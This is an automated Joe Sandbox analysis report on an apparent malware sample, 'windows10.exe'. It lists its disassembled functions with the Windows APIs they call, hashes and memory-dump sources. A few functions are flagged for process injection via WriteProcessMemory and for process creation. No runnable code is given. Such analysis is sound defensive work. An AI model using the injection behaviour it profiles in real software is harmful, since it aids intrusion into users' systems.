Opcode ID: 71bb562d28cdfcbdef92d8ed71ee17de37bd7c98a836f15cf98be480e5bcb6be
Instruction ID: cb2827644523e37ecabf2f02a066ca12206bbc4b25e2d45caf2c233ced0fe546
Opcode Fuzzy Hash: 71bb562d28cdfcbdef92d8ed71ee17de37bd7c98a836f15cf98be480e5bcb6be
Instruction Fuzzy Hash: FFF02771508304AFD726EF65AC02B2977ECD344B11F91C0E5F80C839A0E6799905CB20

Function 00C49568 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00C49838

Part of subcall function 00C4BD76: __FF_MSGBANNER.LIBCMT ref: 00C4BD99
Part of subcall function 00C4BD76: __NMSG_WRITE.LIBCMT ref: 00C4BDA0
Part of subcall function 00C4BD76: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00C4BDED

std::bad_alloc::bad_alloc.LIBCMT ref: 00C4985B

Part of subcall function 00C497B4: std::exception::exception.LIBCMT ref: 00C497C0

std::bad_exception::bad_exception.LIBCMT ref: 00C4986F

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: AllocateHeap_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 832318072-0
Opcode ID: 0554a17c9a64dc84d0a1073bb811c32945aa1859b0629e66e831aae2297b162a
Instruction ID: a6d27ececa95f522037b11c17f19cc358983ed13dc0ba4767c2cd9df529608cd
Opcode Fuzzy Hash: 0554a17c9a64dc84d0a1073bb811c32945aa1859b0629e66e831aae2297b162a
Instruction Fuzzy Hash: EF01283180432DAA8F147B6AD8059AF37A8FB82724F148074FC55970E1EB71DE81D280

Function 00BFE394 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 150
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconW.USER32(00C24040,MAINICON,?,?,?,00B69410), ref: 00BFE4BC

Strings

MAINICON, xrefs: 00BFE4AF

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: IconLoad
String ID: MAINICON
API String ID: 2457776203-2283262055
Opcode ID: 0e9c3618762c6ce66cdeaa8a1f6dfbd56e2d41298a330da3d3655b08da6e7e37
Instruction ID: 8adaf3953189d3e948bd939d660c2e60d8281ed6b1599dbb610affd68d152add
Opcode Fuzzy Hash: 0e9c3618762c6ce66cdeaa8a1f6dfbd56e2d41298a330da3d3655b08da6e7e37
Instruction Fuzzy Hash: 2A610B705042848FDB51EF68C885B997BE5AB15304F0980F9EC48CF3A7DB759949CB61

Function 00C10B40 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,00000000), ref: 00C10BD8

Strings

D, xrefs: 00C10BA7

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 117eae2fa07ed8f29c34345daa85c3d9622333a3b32c063c21f0c4891f1ce5b4
Instruction ID: 77e3dcef4b7dc2e6b319e1325f69dca2da99e1ed7b3446e95ba1460a6ef6b528
Opcode Fuzzy Hash: 117eae2fa07ed8f29c34345daa85c3d9622333a3b32c063c21f0c4891f1ce5b4
Instruction Fuzzy Hash: 09215C70A1430CAFDB00EBE4CC52FDEB7B9EB49700F508065F514E7291DB74AA459B65

Function 0096AF3C Relevance: 3.1, APIs: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.KERNELBASE(00000000), ref: 0096AF7E
GetFileVersionInfoW.KERNELBASE(00000000), ref: 0096AFB3

Memory Dump Source

Source File: 0000000D.00000002.2870577814.000000000095B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0095B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_95b000_windows10.jbxd

Similarity

API ID: FileInfoVersion$Size
String ID:
API String ID: 2104008232-0
Opcode ID: 1a1e35006757739e30607198f5fa3bed7380fc40cef64033e1816b534aaabbdb
Instruction ID: ad965efa3acb1e5b0947a065deb84d34790bf05bfc8db246a5e83d687013fa17
Opcode Fuzzy Hash: 1a1e35006757739e30607198f5fa3bed7380fc40cef64033e1816b534aaabbdb
Instruction Fuzzy Hash: 622133B1A04609AFDB15EFA5CC82DAFB7FCEB89700B514475B510E3651EB349E04DB12

Function 00BF7B98 Relevance: 1.7, APIs: 1, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000,00000000,00000000,00BF7DC8), ref: 00BF7D46

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 70e139c0e508d44bbfd5275ecd2f043a5c9de2673acdaf57c27ea14add1fd887
Instruction ID: d0dc33ca5fb2955217bfdd16ca9b0d9a391005d6221367a8ac1470798bbac611
Opcode Fuzzy Hash: 70e139c0e508d44bbfd5275ecd2f043a5c9de2673acdaf57c27ea14add1fd887
Instruction Fuzzy Hash: CE518B706882485BEB25AF388886BBE37D4EF45700F1884F5EE459B297CE78CC4D8760

Function 00C1A114 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00C1A1AD

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000C1A000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C1A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c1a000_windows10.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 11099d303fc405e330d6e354c2f9daa87fc661934dc340ad7830b084982b4ea1
Instruction ID: d5a7b75790b4a5177ebd8b6ea09cc05e48083529f106f2d7ae9e2a9886a40d45
Opcode Fuzzy Hash: 11099d303fc405e330d6e354c2f9daa87fc661934dc340ad7830b084982b4ea1
Instruction Fuzzy Hash: F561B57421A388CBCB34DB28D94179D73E1BB85304FA0482AE0A5C7A75D775DA86DB23

Function 00BFD5D8 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemParametersInfoW.USER32(00000029,00000000,?,00000000,?,00000000,00BEF730,?,00BFCC47,00000000,00000000,00BF783C,6E6F4646,?,?,00000000), ref: 00BFD681

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 9f1f4360218c598b01405db6130665e42b12c551f9a7ef36286ff0ca0d563c17
Instruction ID: aec26fa1a9fbbc8ae056a01438ea38b654e1920e3b934e69f8b012e92713a14e
Opcode Fuzzy Hash: 9f1f4360218c598b01405db6130665e42b12c551f9a7ef36286ff0ca0d563c17
Instruction Fuzzy Hash: 8F4145316102046BDB50FB74CC86B9A33E9EB49701F6480B1BD4CDB397DE309D498B66

Function 00C3B5B0 Relevance: 1.6, APIs: 1, Instructions: 66
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00C3B655

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C3B000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C3B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c3b000_windows10.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d4bad12da2fdd539c0c8a4a10605c6f181b2f49d6bab8bfff8aac16ca0e965f8
Instruction ID: e0d3abc6aa7c803a6e40508eb2111fc9f4d6929e1161c1f9d80fc3a78d30c77d
Opcode Fuzzy Hash: d4bad12da2fdd539c0c8a4a10605c6f181b2f49d6bab8bfff8aac16ca0e965f8
Instruction Fuzzy Hash: 2911AF2024460A1BEB2D897DCC12F6E7FE6CBC2330F05836DB6678B5D5DB3088054796

Function 00C3B610 Relevance: 1.5, APIs: 1, Instructions: 44injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00C3B655

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C3B000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C3B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c3b000_windows10.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5429865e6951855d6711af4d11da7e6a40cb0d06f152d3c263eb90cf91d7c082
Instruction ID: 3239bafb91800ab4e7e25a427025afc4bb80054a31de6e680fea1400b84858bc
Opcode Fuzzy Hash: 5429865e6951855d6711af4d11da7e6a40cb0d06f152d3c263eb90cf91d7c082
Instruction Fuzzy Hash: 3FF0BB3175010D26DB1898BD9C16BBDB7AADBC2730F1543A9B929C61D4E5714D054291

Function 00BFCFFC Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00000000,?,?,?,00BEF730,00BFCB5F,?,?,00000000,?,00B693F0), ref: 00BFD036

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 287e62610cd164010b7944d3874440726dc8b7499d59f79a90055aee0024141d
Instruction ID: ea220525abd683f78060d7069deec1cd6c721f1d530c5de4565b7cada7655a79
Opcode Fuzzy Hash: 287e62610cd164010b7944d3874440726dc8b7499d59f79a90055aee0024141d
Instruction Fuzzy Hash: FEF0A751605108179620993D5CD0F7E72D6CBC6371F200376FE2D972D1CE211C0A1764

Function 00B594B0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 00B594EB

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction ID: e0bbe715bca3811110881742a92ef003db1fcb23f4917bcbe1fd8e336695c67c
Opcode Fuzzy Hash: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction Fuzzy Hash: D4F0DA762047119FC310DF5CC88494BB7E9EF89259F044A59F986DB351C771E814CB92

Function 00C49556 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00C49838

Part of subcall function 00C4BD76: __FF_MSGBANNER.LIBCMT ref: 00C4BD99
Part of subcall function 00C4BD76: __NMSG_WRITE.LIBCMT ref: 00C4BDA0
Part of subcall function 00C4BD76: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00C4BDED

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 9fddc94e5dbf1e6244022615b92a186c3a5620306a6be185b52e64ba786d58d8
Instruction ID: 4a143bc12a657b23246789c4962edcba147005b943e9b36b94a744f4fafbef79
Opcode Fuzzy Hash: 9fddc94e5dbf1e6244022615b92a186c3a5620306a6be185b52e64ba786d58d8
Instruction Fuzzy Hash: 62D05E3080841AA68E2036BE584A9FE3BA8AE92354B204060E80AA6193DF21D54694F2

Function 0127EBD9 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2917053126.000000000127E000.00000020.00000001.01000000.00000009.sdmp, Offset: 0127E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_127e000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 096cbc23ccc1c702fa1c80ba950481021d3c28fe8810a6521bb77f62902a2877
Instruction ID: 1fe8990bdcdab5ccd478e8fc64d4edc3051c9cd256f62eab680cdab6afd27733
Opcode Fuzzy Hash: 096cbc23ccc1c702fa1c80ba950481021d3c28fe8810a6521bb77f62902a2877
Instruction Fuzzy Hash: B5F0E535A017275B87219D2E8CE06AAB3ED5F18B11B490129FC55A76C2D764EC4142E0

Non-executed Functions

Function 0127E8AD Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

L, xrefs: 0127EAAA

Memory Dump Source

Source File: 0000000D.00000002.2917053126.000000000127E000.00000020.00000001.01000000.00000009.sdmp, Offset: 0127E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_127e000_windows10.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: 4849debe4830302fdb5f84a692ac7c13ec1e2517c37a2ddb982db19de50c29b8
Instruction ID: 7aebb3872babd66b21f291d24507c6cc525004245d71c7c4a3db9aa235a1b7a2
Opcode Fuzzy Hash: 4849debe4830302fdb5f84a692ac7c13ec1e2517c37a2ddb982db19de50c29b8
Instruction Fuzzy Hash: 93512A31A187128BC718EF38E4904AAB3E2FFC9324F248A7DA496D36D4D7356905CF41

Function 00C4B65D Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(00000000,?,?,00C4A521), ref: 00C4B720
__init_pointers.LIBCMT ref: 00C4B72A
__mtterm.LIBCMT ref: 00C4B7E0

Strings

FlsGetValue, xrefs: 00C4B690
FlsFree, xrefs: 00C4B6AA
FlsSetValue, xrefs: 00C4B69D
KERNEL32.DLL, xrefs: 00C4B661, 00C4B666
FlsAlloc, xrefs: 00C4B688

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: Value__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 345306816-3819984048
Opcode ID: bf5fbb51986e6db57fbee7abaa9f38ce50530daddd0660774f39bf057fa3e517
Instruction ID: 01782366bea6247ac27ab4c696e65a2dcf4a70a1f3ba592bc9d1440401d268c3
Opcode Fuzzy Hash: bf5fbb51986e6db57fbee7abaa9f38ce50530daddd0660774f39bf057fa3e517
Instruction Fuzzy Hash: F83172784003009AC7187F35AD46B1F3BA8BB40366B10453EF824E71B2EB75D9839A64

Function 00C4ED2A Relevance: 13.8, APIs: 9, Instructions: 346COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000100,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,?,?,?,?), ref: 00C4EDFA
_malloc.LIBCMT ref: 00C4EE33
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 00C4EE66
_malloc.LIBCMT ref: 00C4EEF5
__freea.LIBCMT ref: 00C4EF4D
__freea.LIBCMT ref: 00C4EF56
_malloc.LIBCMT ref: 00C4F00B
_memset.LIBCMT ref: 00C4F02D
__freea.LIBCMT ref: 00C4F078

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: __freea_malloc$ByteCharMultiWide$_memset
String ID:
API String ID: 340271106-0
Opcode ID: d6d7f64d8feb03419410fe3b60e27a60af0162cfe5868df419cc40b883ac5828
Instruction ID: c91a3b5a97b0fd8ee883f1667f11640d7b465f6ee38f902e5221026f9fef5fc3
Opcode Fuzzy Hash: d6d7f64d8feb03419410fe3b60e27a60af0162cfe5868df419cc40b883ac5828
Instruction Fuzzy Hash: 9FB1CD72800109EFDF21AFA4CC85CAE7BB6FF48314F16452AF924A6161D731CEA5DB60

Function 00C51E73 Relevance: 9.2, APIs: 6, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00C51EF5
MultiByteToWideChar.KERNEL32(?,00000001,00000000,?,00000000,00000000,?,00C4F2FE,?,?,?,?,?,?,?,?), ref: 00C51F35
_malloc.LIBCMT ref: 00C51F45
_memset.LIBCMT ref: 00C51F6D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,?,?,?,?,?,00C4F2FE,?), ref: 00C51F84
__freea.LIBCMT ref: 00C5200C

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc_memset_strlen
String ID:
API String ID: 3923921168-0
Opcode ID: 0d3c65cb2c57c73c165f4a1b8c8e97a9f6a6942600109f58ac0cf00e79bd925c
Instruction ID: d9ecacbd7d5127c1634709fb4c50742363f6cae0987445c07787ae8a25d10c84
Opcode Fuzzy Hash: 0d3c65cb2c57c73c165f4a1b8c8e97a9f6a6942600109f58ac0cf00e79bd925c
Instruction Fuzzy Hash: 15519D35C01219AECF219FA5DC88DEFBBB9EF89761F240219FC25A2190D7318D85DB64

Function 00C4A86A Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C4A8DB
___crtGetStringTypeA.LIBCMT ref: 00C4A906
___crtLCMapStringA.LIBCMT ref: 00C4A926
___crtLCMapStringA.LIBCMT ref: 00C4A94B

Strings

, xrefs: 00C4A8B2

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: String___crt$Type_memset
String ID:
API String ID: 1957702402-3916222277
Opcode ID: 890820b3eef87c6ab817ba0afd50f6f2ceab955fad4ebd28fa2077fba74caf17
Instruction ID: d65970ad58bc604d36a738130e5d8ac79f6e021013c8d03d9e33d63fe6230f74
Opcode Fuzzy Hash: 890820b3eef87c6ab817ba0afd50f6f2ceab955fad4ebd28fa2077fba74caf17
Instruction Fuzzy Hash: BD4125B040079C9EDB228A248C95BFBBBE8FB55304F1444ECE99A87183D2719B469F21

Function 00C54660 Relevance: 7.8, APIs: 5, Instructions: 263COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 00C54761
__FindPESection.LIBCMT ref: 00C5477B

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 35467ebdf9b14da4284be9dff40df43d5d0d2d3b3bc1c1dc280b64f671ec41b1
Instruction ID: 347c3757aa26c75d222b6e823cca6043507c7f224d106b3347a191b6cec6258a
Opcode Fuzzy Hash: 35467ebdf9b14da4284be9dff40df43d5d0d2d3b3bc1c1dc280b64f671ec41b1
Instruction Fuzzy Hash: DA91F87AA006188BCB1CCF19E84176EB3A5FB8531AF15412CEC15A73A1D771EDC6CB94

Function 00C4F114 Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,00C4F2FE,?,?,?), ref: 00C4F1BA
_malloc.LIBCMT ref: 00C4F1EF

Part of subcall function 00C51E73: _strlen.LIBCMT ref: 00C51EF5
Part of subcall function 00C51E73: _memset.LIBCMT ref: 00C51F6D
Part of subcall function 00C51E73: MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,?,?,?,?,?,00C4F2FE,?), ref: 00C51F84

_memset.LIBCMT ref: 00C4F20F
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,?,?,?,00000001), ref: 00C4F224
__freea.LIBCMT ref: 00C4F23C

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$_memset$__freea_malloc_strlen
String ID:
API String ID: 574822426-0
Opcode ID: fbc85fb7f6efcd6b18f26a8145e9ace0d8a0c44ac545d9cf2aa1cd38804f4bcd
Instruction ID: b0ecf116d68a077f73e8731aae3288b7a80cb3369a6ed2bae31135ffcf65af16
Opcode Fuzzy Hash: fbc85fb7f6efcd6b18f26a8145e9ace0d8a0c44ac545d9cf2aa1cd38804f4bcd
Instruction Fuzzy Hash: 5B517E7A90010AEFDF209F64DC81AAF3BA9FB14350B14443AF925D7161D770DEA29B90

Function 00C53BA9 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00C53BD1

Part of subcall function 00C534C1: __getptd.LIBCMT ref: 00C534CF
Part of subcall function 00C534C1: __getptd.LIBCMT ref: 00C534DD

__getptd.LIBCMT ref: 00C53BDB

Part of subcall function 00C4B4A6: __amsg_exit.LIBCMT ref: 00C4B4B6

__getptd.LIBCMT ref: 00C53BE9
__getptd.LIBCMT ref: 00C53BF7
__getptd.LIBCMT ref: 00C53C02

Part of subcall function 00C53566: __CallSettingFrame@12.LIBCMT ref: 00C535B2

Part of subcall function 00C53CCF: __getptd.LIBCMT ref: 00C53CDE
Part of subcall function 00C53CCF: __getptd.LIBCMT ref: 00C53CEC

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit
String ID:
API String ID: 3174811152-0
Opcode ID: ae3794f3de7053c5fc5ef8718ca28982adedff1f6b6539fdbebd6b633eca44c3
Instruction ID: 42c111f17e29a334d169fbdb71dba29f4f6abcebe7fc5d894436a4acdf9da4af
Opcode Fuzzy Hash: ae3794f3de7053c5fc5ef8718ca28982adedff1f6b6539fdbebd6b633eca44c3
Instruction Fuzzy Hash: 81111975C00209DFDB00EFA4C985AAD7BB0FF48311F108169F814A7252EB389A55AF54

Function 00C4DB21 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 00C4DB36

Part of subcall function 00C4AE9C: __setmbcp.LIBCMT ref: 00C4AEA7

_parse_cmdline.LIBCMT ref: 00C4DB78
_parse_cmdline.LIBCMT ref: 00C4DBB9

Strings

C:\Users\user\Pictures\fotosdaviagem\windows10.exe, xrefs: 00C4DB40, 00C4DB45

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: _parse_cmdline$___initmbctable__setmbcp
String ID: C:\Users\user\Pictures\fotosdaviagem\windows10.exe
API String ID: 1290970244-3728218427
Opcode ID: 6636d99ecae476ad2522c0b4721363820995221cc619b9cdc95d777929ffccc6
Instruction ID: 62430e422bc69f79596e10ea89d97af543c1dc99cc2bfa0c74f1c6ae3959997c
Opcode Fuzzy Hash: 6636d99ecae476ad2522c0b4721363820995221cc619b9cdc95d777929ffccc6
Instruction Fuzzy Hash: 6021B471900248ABCF10FFA59C8099F7B78FA41724B2506B9F526E7181D6309E86CBA0

Function 00948494 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009484C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,00948540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009484F7

Strings

GetLogicalProcessorInformation, xrefs: 009484A0
kernel32.dll, xrefs: 009484A5

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000941000.00000020.00000001.01000000.00000009.sdmp, Offset: 00941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_941000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: 5eb4d6a585ac0fbd7b4bb8a08a42d310774caf866eff6108e6895ec73ba9bede
Instruction ID: 73dc95e381f716490a1f0cf66a0b0a4fa113ba3e013f5044fe898227b792105e
Opcode Fuzzy Hash: 5eb4d6a585ac0fbd7b4bb8a08a42d310774caf866eff6108e6895ec73ba9bede
Instruction Fuzzy Hash: 0A11BFB1D08208AEEB20EBA4DC82F6FB7ECEB80714F6540E5F40492182EF759A84C615

Function 00948492 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009484C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,00948540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009484F7

Strings

GetLogicalProcessorInformation, xrefs: 009484A0
kernel32.dll, xrefs: 009484A5

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000941000.00000020.00000001.01000000.00000009.sdmp, Offset: 00941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_941000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: 96b1a71c5ebead02b9c55594271197503454a16468e68b4e9b488eec9e338e93
Instruction ID: 4729996e85603a206b05e232cf1c788e84d82e5e4a8024ea8cb5e7eaaa036658
Opcode Fuzzy Hash: 96b1a71c5ebead02b9c55594271197503454a16468e68b4e9b488eec9e338e93
Instruction Fuzzy Hash: 3D019271D08208AEEB20EBA0CC42F6FB7ECEB80714F1041E5F404D6082EF71DA848615

Function 0094C860 Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0094C871
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0094C8CF
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0094C92C
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0094C95F

Part of subcall function 0094C81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0094C8DD), ref: 0094C833
Part of subcall function 0094C81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0094C8DD), ref: 0094C850

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000941000.00000020.00000001.01000000.00000009.sdmp, Offset: 00941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_941000_windows10.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 5bb94120840624d52b8c12163995480804da47d281d56083b93f3a1a965900bb
Instruction ID: d3466c356e860e8871b31a6a9e515dbbdc68f611a6ea213d0ad2083d0ce8dde5
Opcode Fuzzy Hash: 5bb94120840624d52b8c12163995480804da47d281d56083b93f3a1a965900bb
Instruction Fuzzy Hash: 073149B0E0021EAFDB50DFE8C885BAEB7F8FF44310F004165E565E7291DB749A058B91

